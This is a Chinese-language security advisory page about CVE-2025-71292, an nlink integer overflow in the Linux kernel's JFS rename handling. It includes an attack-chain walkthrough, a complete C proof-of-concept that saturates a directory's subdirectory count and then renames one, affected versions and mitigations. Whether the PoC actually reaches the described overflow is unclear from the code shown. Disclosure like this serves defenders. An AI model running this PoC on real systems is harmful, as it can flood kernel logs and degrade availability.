IPBUF安全漏洞报告
English
CVE-2025-71292 CVSS 5.5 中危

CVE-2025-71292 Linux内核JFS文件系统链接数溢出漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71292
漏洞类型
整数溢出
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelJFSCVE-2025-71292Integer OverflowLocalDoS文件系统

漏洞概述

CVE-2025-71292是Linux内核中JFS(Journalling File System)文件系统的一个安全漏洞。该漏洞源于`jfs_rename`函数在处理目录重命名操作时,未能正确处理目录硬链接计数(nlink)的边界条件。当一个目录的nlink值达到最大值(显示为-1)时,若在该目录内重命名其子目录,系统会先增加后减少nlink值。由于nlink已处于最大值,增加操作会导致整数溢出并回绕至0,随后的减少操作或内核检查将触发`drop_nlink`警告。此问题可能导致系统日志被大量警告信息淹没,或在特定情况下影响内核稳定性,从而对系统可用性造成影响。

技术细节

该漏洞的技术原理涉及Linux内核VFS(虚拟文件系统)层与JFS特定实现之间的交互。在Unix文件系统中,目录的nlink通常等于其子目录数量加2(代表当前目录.和父目录..)。在JFS的`jfs_rename`实现中,当在父目录内部移动子目录时,代码逻辑会先调用`inc_nlink`增加父目录的链接计数,随后调用`drop_nlink`进行递减。然而,代码未充分检查nlink是否已达到上限。当nlink为-1(即最大无符号整数)时,`inc_nlink`导致无符号整数溢出,数值变为0。内核在检测到nlink异常(如非预期下降或为0)时会打印警告信息。攻击者需具备本地低权限,通过创建大量子目录使nlink饱和,随后执行重命名操作即可触发该逻辑缺陷。虽然主要表现为内核警告,但CVSS评分显示其可用性影响为高(A:H),暗示可能存在导致拒绝服务或文件系统状态异常的风险。

攻击链分析

STEP 1
访问获取
攻击者需要具备本地系统的低权限用户访问权限。
STEP 2
环境准备
攻击者在挂载的JFS文件系统中创建一个父目录,并在其中创建大量子目录,直到父目录的硬链接计数达到最大值(nlink = -1或显示为最大值)。
STEP 3
触发漏洞
攻击者在父目录内部执行重命名操作,将其中一个子目录重命名。这将触发`jfs_rename`逻辑,导致nlink先增加后减少。
STEP 4
溢出与影响
由于nlink已为最大值,增加操作导致整数溢出回绕至0,随后的操作触发`drop_nlink`警告,可能导致内核日志泛滥或系统不稳定。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2025-71292: JFS nlink overflow in jfs_rename * This code attempts to trigger the nlink overflow warning by saturating * a directory's subdirectory count and performing a rename. * Note: Running this requires a mounted JFS filesystem and sufficient permissions/inodes. */ #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #include <errno.h> #include <string.h> #define DIR_PATH "/mnt/jfs_test_target" #define SUBDIR_PREFIX "subdir_" // Typical nlink limit for directories is 65535, but this depends on the kernel/fs implementation. #define MAX_ATTEMPTS 70000 int main() { int i; char path[256]; struct stat st; printf("[*] Starting PoC for CVE-2025-71292\n"); // Ensure target directory exists if (stat(DIR_PATH, &st) != 0) { if (mkdir(DIR_PATH, 0777) != 0) { perror("mkdir"); return 1; } } printf("[*] Creating subdirectories to saturate nlink...\n"); // Step 1: Create subdirectories until nlink overflows or limit reached for (i = 0; i < MAX_ATTEMPTS; i++) { snprintf(path, sizeof(path), "%s/%s%d", DIR_PATH, SUBDIR_PREFIX, i); if (mkdir(path, 0777) != 0) { if (errno == EMLINK) { printf("[+] Hit EMLINK error at %d. nlink is likely saturated.\n", i); break; } // Other errors like ENOSPC can also stop it perror("mkdir"); break; } } // Check current nlink of parent if (stat(DIR_PATH, &st) == 0) { printf("[*] Parent directory nlink count: %lu\n", (unsigned long)st.st_nlink); } printf("[*] Attempting rename operation to trigger overflow logic...\n"); // Step 2: Rename a directory inside the parent to trigger inc/dec nlink logic char old_path[512], new_path[512]; snprintf(old_path, sizeof(old_path), "%s/%s0", DIR_PATH, SUBDIR_PREFIX); snprintf(new_path, sizeof(new_path), "%s/%s_renamed", DIR_PATH, SUBDIR_PREFIX); if (rename(old_path, new_path) == 0) { printf("[*] Rename successful. Check 'dmesg' for kernel warnings regarding nlink.\n"); } else { perror("rename"); printf("[-] Rename failed.\n"); } return 0; }

影响范围

Linux Kernel < 6.9.7
Linux Kernel < 6.6.36
Linux Kernel < 6.1.96
Linux Kernel < 5.15.162
Linux Kernel < 5.10.221

防御指南

临时缓解措施
如果无法立即升级内核,建议限制非特权用户对JFS文件系统的写入权限,或者暂时禁用JFS文件系统的使用(如果业务允许)。此外,管理员可以使用监控脚本检测`dmesg`中是否出现`drop_nlink`相关的异常警告,以便及时发现潜在的攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表